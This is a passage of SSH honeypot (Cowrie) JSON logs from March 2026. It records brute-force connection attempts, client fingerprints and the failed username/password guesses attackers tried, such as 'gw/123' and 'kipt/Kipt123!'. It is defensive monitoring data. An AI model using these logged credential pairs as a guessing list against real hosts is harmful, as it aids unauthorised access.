a2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:43.882563Z","src_ip":"45.78.207.244","session":"0a7ff6bd8059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":51198,"dst_ip":"159.203.135.109","dst_port":22,"session":"af40fdee6d34","protocol":"ssh","message":"New connection: 210.79.190.22:51198 (159.203.135.109:22) [session: af40fdee6d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:47.426363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:47.430343Z","src_ip":"210.79.190.22","session":"af40fdee6d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:47.677044Z","src_ip":"210.79.190.22","session":"af40fdee6d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gw","password":"123","message":"login attempt [gw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:48.700063Z","src_ip":"210.79.190.22","session":"af40fdee6d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:49.950615Z","src_ip":"210.79.190.22","session":"af40fdee6d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":52884,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a4f0cabaed","protocol":"ssh","message":"New connection: 20.244.95.173:52884 (10.17.0.5:22) [session: 35a4f0cabaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.265353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.268329Z","src_ip":"20.244.95.173","session":"35a4f0cabaed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.470562Z","src_ip":"20.244.95.173","session":"35a4f0cabaed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"bddc263114d0","protocol":"ssh","message":"New connection: 40.81.244.142:49930 (159.203.135.109:22) [session: bddc263114d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.657307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.660891Z","src_ip":"40.81.244.142","session":"bddc263114d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.863491Z","src_ip":"40.81.244.142","session":"bddc263114d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tamara","password":"123456","message":"login attempt [tamara/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.877113Z","src_ip":"20.244.95.173","session":"35a4f0cabaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:54.902209Z","src_ip":"45.78.207.244","session":"0a7ff6bd8059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"Kipt123!","message":"login attempt [kipt/Kipt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:55.707560Z","src_ip":"40.81.244.142","session":"bddc263114d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:56.082468Z","src_ip":"20.244.95.173","session":"35a4f0cabaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:53:56.912785Z","src_ip":"40.81.244.142","session":"bddc263114d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":1288,"dst_ip":"159.203.135.109","dst_port":22,"session":"14009a8850d9","protocol":"ssh","message":"New connection: 185.158.23.150:1288 (159.203.135.109:22) [session: 14009a8850d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:54:09.357598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:54:09.362114Z","src_ip":"185.158.23.150","session":"14009a8850d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:54:09.533379Z","src_ip":"185.158.23.150","session":"14009a8850d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gw","password":"123","message":"login attempt [gw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:54:10.250769Z","src_ip":"185.158.23.150","session":"14009a8850d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:54:11.422655Z","src_ip":"185.158.23.150","session":"14009a8850d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":36326,"dst_ip":"159.203.135.109","dst_port":22,"session":"7903c1b1facf","protocol":"ssh","message":"New connection: 131.161.249.165:36326 (159.203.135.109:22) [session: 7903c1b1facf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:12.461165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:12.465429Z","src_ip":"131.161.249.165","session":"7903c1b1facf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:12.589015Z","src_ip":"131.161.249.165","session":"7903c1b1facf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kocom","password":"kocom123","message":"login attempt [kocom/kocom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:13.118266Z","src_ip":"131.161.249.165","session":"7903c1b1facf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:14.245718Z","src_ip":"131.161.249.165","session":"7903c1b1facf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":51762,"dst_ip":"159.203.135.109","dst_port":22,"session":"7deb13bc4cb3","protocol":"ssh","message":"New connection: 159.223.94.92:51762 (159.203.135.109:22) [session: 7deb13bc4cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:16.909822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:16.914773Z","src_ip":"159.223.94.92","session":"7deb13bc4cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:17.160795Z","src_ip":"159.223.94.92","session":"7deb13bc4cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox123!","message":"login attempt [fox/fox123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:18.177507Z","src_ip":"159.223.94.92","session":"7deb13bc4cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:19.424800Z","src_ip":"159.223.94.92","session":"7deb13bc4cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":44962,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed61e2d2e2f","protocol":"ssh","message":"New connection: 210.79.190.22:44962 (159.203.135.109:22) [session: 9ed61e2d2e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:51.463929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:51.468315Z","src_ip":"210.79.190.22","session":"9ed61e2d2e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:51.707337Z","src_ip":"210.79.190.22","session":"9ed61e2d2e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"Frank123","message":"login attempt [frank/Frank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:52.695880Z","src_ip":"210.79.190.22","session":"9ed61e2d2e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:55:53.936398Z","src_ip":"210.79.190.22","session":"9ed61e2d2e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":48334,"dst_ip":"159.203.135.109","dst_port":22,"session":"53663a8b4b2e","protocol":"ssh","message":"New connection: 185.158.23.150:48334 (159.203.135.109:22) [session: 53663a8b4b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:02.577114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:02.581325Z","src_ip":"185.158.23.150","session":"53663a8b4b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:02.745049Z","src_ip":"185.158.23.150","session":"53663a8b4b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:03.433138Z","src_ip":"185.158.23.150","session":"53663a8b4b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:04.598878Z","src_ip":"185.158.23.150","session":"53663a8b4b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":60152,"dst_ip":"159.203.135.109","dst_port":22,"session":"872208323cb1","protocol":"ssh","message":"New connection: 40.81.244.142:60152 (159.203.135.109:22) [session: 872208323cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:11.104554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:56:11.108394Z","src_ip":"40.81.244.142","session":"872208323cb1","protocol":"ssh"}
